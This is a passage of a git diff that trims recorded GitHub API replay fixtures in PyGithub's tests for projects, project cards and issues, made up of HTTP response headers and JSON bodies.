('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0AD:55DE:E5A53:1EC84D:5E62857D')] {"url":"https://api.github.com/projects/columns/cards/34203318","project_url":"https://api.github.com/projects/4015343","id":34203318,"node_id":"MDExOlByb2plY3RDYXJkMzQyMDMzMTg=","note":"Edited Card","archived":false,"creator":{"login":"jodytest1511","id":61476392,"node_id":"MDQ6VXNlcjYxNDc2Mzky","avatar_url":"https://avatars1.githubusercontent.com/u/61476392?v=4","gravatar_id":"","url":"https://api.github.com/users/jodytest1511","html_url":"https://github.com/jodytest1511","followers_url":"https://api.github.com/users/jodytest1511/followers","following_url":"https://api.github.com/users/jodytest1511/following{/other_user}","gists_url":"https://api.github.com/users/jodytest1511/gists{/gist_id}","starred_url":"https://api.github.com/users/jodytest1511/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jodytest1511/subscriptions","organizations_url":"https://api.github.com/users/jodytest1511/orgs","repos_url":"https://api.github.com/users/jodytest1511/repos","events_url":"https://api.github.com/users/jodytest1511/events{/privacy}","received_events_url":"https://api.github.com/users/jodytest1511/received_events","type":"User","site_admin":false},"created_at":"2020-03-06T17:16:44Z","updated_at":"2020-03-06T17:16:45Z","column_url":"https://api.github.com/projects/columns/8125057"} - diff --git a/tests/ReplayData/Project.testEditCardWithoutParameters.txt b/tests/ReplayData/Project.testEditCardWithoutParameters.txt index 8393d867ca..391045022d 100644 --- a/tests/ReplayData/Project.testEditCardWithoutParameters.txt +++ b/tests/ReplayData/Project.testEditCardWithoutParameters.txt @@ -41,4 +41,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 06 Mar 2020 17:16:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4927'), ('X-RateLimit-Reset', '1583518122'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"67e3f3f7c020923318db8f939964098f"'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0B9:463A:10037D8:1FC2B4B:5E628581')] {"url":"https://api.github.com/projects/columns/cards/34203323","project_url":"https://api.github.com/projects/4015343","id":34203323,"node_id":"MDExOlByb2plY3RDYXJkMzQyMDMzMjM=","note":"Project Card","archived":false,"creator":{"login":"jodytest1511","id":61476392,"node_id":"MDQ6VXNlcjYxNDc2Mzky","avatar_url":"https://avatars1.githubusercontent.com/u/61476392?v=4","gravatar_id":"","url":"https://api.github.com/users/jodytest1511","html_url":"https://github.com/jodytest1511","followers_url":"https://api.github.com/users/jodytest1511/followers","following_url":"https://api.github.com/users/jodytest1511/following{/other_user}","gists_url":"https://api.github.com/users/jodytest1511/gists{/gist_id}","starred_url":"https://api.github.com/users/jodytest1511/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jodytest1511/subscriptions","organizations_url":"https://api.github.com/users/jodytest1511/orgs","repos_url":"https://api.github.com/users/jodytest1511/repos","events_url":"https://api.github.com/users/jodytest1511/events{/privacy}","received_events_url":"https://api.github.com/users/jodytest1511/received_events","type":"User","site_admin":false},"created_at":"2020-03-06T17:16:49Z","updated_at":"2020-03-06T17:16:49Z","column_url":"https://api.github.com/projects/columns/8125057"} - diff --git a/tests/ReplayData/Project.testGetAllProjectCards.txt b/tests/ReplayData/Project.testGetAllProjectCards.txt index 3dbd6fd91a..e2b2ae7689 100644 --- a/tests/ReplayData/Project.testGetAllProjectCards.txt +++ b/tests/ReplayData/Project.testGetAllProjectCards.txt @@ -52,4 +52,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 13 Aug 2018 05:39:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4965'), ('X-RateLimit-Reset', '1534141409'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"d07e05df9d6ccede8df4f7bf63454aab"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.071735'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DFAA:5F7A:7E094:F6359:5B711982')] [{"url":"https://api.github.com/projects/columns/cards/11841716","id":11841716,"node_id":"MDExOlByb2plY3RDYXJkMTE4NDE3MTY=","note":"This note is Done.","archived":true,"creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-03T00:30:46Z","updated_at":"2018-08-03T00:31:17Z","column_url":"https://api.github.com/projects/columns/3138832"}] - diff --git a/tests/ReplayData/Project.testGetOrganizationProjects.txt b/tests/ReplayData/Project.testGetOrganizationProjects.txt index 8f5f5de8f6..f99c78d718 100644 --- a/tests/ReplayData/Project.testGetOrganizationProjects.txt +++ b/tests/ReplayData/Project.testGetOrganizationProjects.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 11 Aug 2018 04:59:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1533965918'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"4b04fe124cbf0d6f615f1a889b057a2f"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.165079'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DB31:5AC6:C50C8C:1BDB65D:5B6E6D33')] [{"owner_url":"https://api.github.com/orgs/PyGithubTestOrg","url":"https://api.github.com/projects/1085833","html_url":"https://github.com/orgs/PyGithubTestOrg/projects/1","columns_url":"https://api.github.com/projects/1085833/columns","id":1085833,"node_id":"MDc6UHJvamVjdDEwODU4MzM=","name":"Project1","body":"First test project.","number":1,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2017-11-21T23:03:55Z","updated_at":"2018-08-02T20:56:37Z","organization_permission":"write","private":true},{"owner_url":"https://api.github.com/orgs/PyGithubTestOrg","url":"https://api.github.com/projects/1085834","html_url":"https://github.com/orgs/PyGithubTestOrg/projects/2","columns_url":"https://api.github.com/projects/1085834/columns","id":1085834,"node_id":"MDc6UHJvamVjdDEwODU4MzQ=","name":"Project2","body":"Second test project.","number":2,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2017-11-21T23:04:43Z","updated_at":"2018-07-30T23:20:19Z","organization_permission":"read","private":true},{"owner_url":"https://api.github.com/orgs/PyGithubTestOrg","url":"https://api.github.com/projects/1623594","html_url":"https://github.com/orgs/PyGithubTestOrg/projects/3","columns_url":"https://api.github.com/projects/1623594/columns","id":1623594,"node_id":"MDc6UHJvamVjdDE2MjM1OTQ=","name":"Project3","body":"Third test project","number":3,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-07-04T04:21:58Z","updated_at":"2018-08-03T21:52:04Z","organization_permission":"write","private":true}] - diff --git a/tests/ReplayData/Project.testGetProject.txt b/tests/ReplayData/Project.testGetProject.txt index 99c15466f5..ac2181c57b 100644 --- a/tests/ReplayData/Project.testGetProject.txt +++ b/tests/ReplayData/Project.testGetProject.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 11 Aug 2018 05:11:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1533965918'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"27943de4706a46a49435f50612ed14a7"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.073652'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DB5F:5AC5:10682C2:21382ED:5B6E701D')] {"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/1682941","html_url":"https://github.com/bbi-yggy/PyGithub/projects/1","columns_url":"https://api.github.com/projects/1682941/columns","id":1682941,"node_id":"MDc6UHJvamVjdDE2ODI5NDE=","name":"TestProject","body":"To be used for testing project access API for PyGithub.","number":1,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-01T04:06:57Z","updated_at":"2018-08-03T00:31:17Z"} - diff --git a/tests/ReplayData/Project.testGetProjectCardContent.txt b/tests/ReplayData/Project.testGetProjectCardContent.txt index 779646aff7..6876d87ce7 100644 --- a/tests/ReplayData/Project.testGetProjectCardContent.txt +++ b/tests/ReplayData/Project.testGetProjectCardContent.txt @@ -52,4 +52,3 @@ None 200 [('Date', 'Mon, 13 Aug 2018 20:46:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"4539c5ec1d602de328c3b20478b62ed1"'), ('Last-Modified', 'Mon, 13 Aug 2018 04:46:29 GMT'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.052249'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EDE7:528C:C85BD:1042F1:5B71EE28')] {"url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/2","repository_url":"https://api.github.com/repos/bbi-yggy/PyGithub","labels_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/2/labels{/name}","comments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/2/comments","events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/2/events","html_url":"https://github.com/bbi-yggy/PyGithub/issues/2","id":349886358,"node_id":"MDU6SXNzdWUzNDk4ODYzNTg=","number":2,"title":"Test issue","user":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-08-13T04:46:29Z","updated_at":"2018-08-13T04:46:29Z","closed_at":null,"author_association":"OWNER","body":"To be added to Test Project as a card.","closed_by":null} - diff --git a/tests/ReplayData/Project.testGetRepositoryProjects.txt b/tests/ReplayData/Project.testGetRepositoryProjects.txt index f14fb182de..170707fd0d 100644 --- a/tests/ReplayData/Project.testGetRepositoryProjects.txt +++ b/tests/ReplayData/Project.testGetRepositoryProjects.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 11 Aug 2018 04:53:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1533965918'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"ba42e988ba2c8b55631630810faf2098"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.098354'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DB0A:5AC3:59436D:DE4A3B:5B6E6BDA')] [{"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/1682941","html_url":"https://github.com/bbi-yggy/PyGithub/projects/1","columns_url":"https://api.github.com/projects/1682941/columns","id":1682941,"node_id":"MDc6UHJvamVjdDE2ODI5NDE=","name":"TestProject","body":"To be used for testing project access API for PyGithub.","number":1,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-01T04:06:57Z","updated_at":"2018-08-03T00:31:17Z"},{"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/1704764","html_url":"https://github.com/bbi-yggy/PyGithub/projects/2","columns_url":"https://api.github.com/projects/1704764/columns","id":1704764,"node_id":"MDc6UHJvamVjdDE3MDQ3NjQ=","name":"TestProjectClosed","body":"Test project in a closed state.","number":2,"state":"closed","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-11T04:48:14Z","updated_at":"2018-08-11T04:48:23Z"}] - diff --git a/tests/ReplayData/Project.testProjectAttributes.txt b/tests/ReplayData/Project.testProjectAttributes.txt index 05ff8f429e..58ef52ddf5 100644 --- a/tests/ReplayData/Project.testProjectAttributes.txt +++ b/tests/ReplayData/Project.testProjectAttributes.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 11 Aug 2018 05:25:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4971'), ('X-RateLimit-Reset', '1533965918'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"27943de4706a46a49435f50612ed14a7"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.061095'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DB9E:5AC6:C62649:1C03B15:5B6E7336')] {"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/1682941","html_url":"https://github.com/bbi-yggy/PyGithub/projects/1","columns_url":"https://api.github.com/projects/1682941/columns","id":1682941,"node_id":"MDc6UHJvamVjdDE2ODI5NDE=","name":"TestProject","body":"To be used for testing project access API for PyGithub.","number":1,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-01T04:06:57Z","updated_at":"2018-08-03T00:31:17Z"} - diff --git a/tests/ReplayData/Project.testProjectCardAttributes.txt b/tests/ReplayData/Project.testProjectCardAttributes.txt index 339cbdb468..5464cd38ca 100644 --- a/tests/ReplayData/Project.testProjectCardAttributes.txt +++ b/tests/ReplayData/Project.testProjectCardAttributes.txt @@ -30,4 +30,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 13 Aug 2018 04:43:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4960'), ('X-RateLimit-Reset', '1534137668'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"10383f6a2c126768bba0316a3547d35c"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.106876'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DEA3:5F78:2ECFD:71104:5B710C7E')] [{"url":"https://api.github.com/projects/columns/cards/11780055","id":11780055,"node_id":"MDExOlByb2plY3RDYXJkMTE3ODAwNTU=","note":null,"archived":false,"creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-01T04:53:59Z","updated_at":"2018-08-01T04:54:16Z","column_url":"https://api.github.com/projects/columns/3138831","content_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/1"}] - diff --git a/tests/ReplayData/Project.testProjectCardDelete.txt b/tests/ReplayData/Project.testProjectCardDelete.txt index d6aeccf429..280b936ba0 100644 --- a/tests/ReplayData/Project.testProjectCardDelete.txt +++ b/tests/ReplayData/Project.testProjectCardDelete.txt @@ -41,4 +41,3 @@ None 204 [('status', 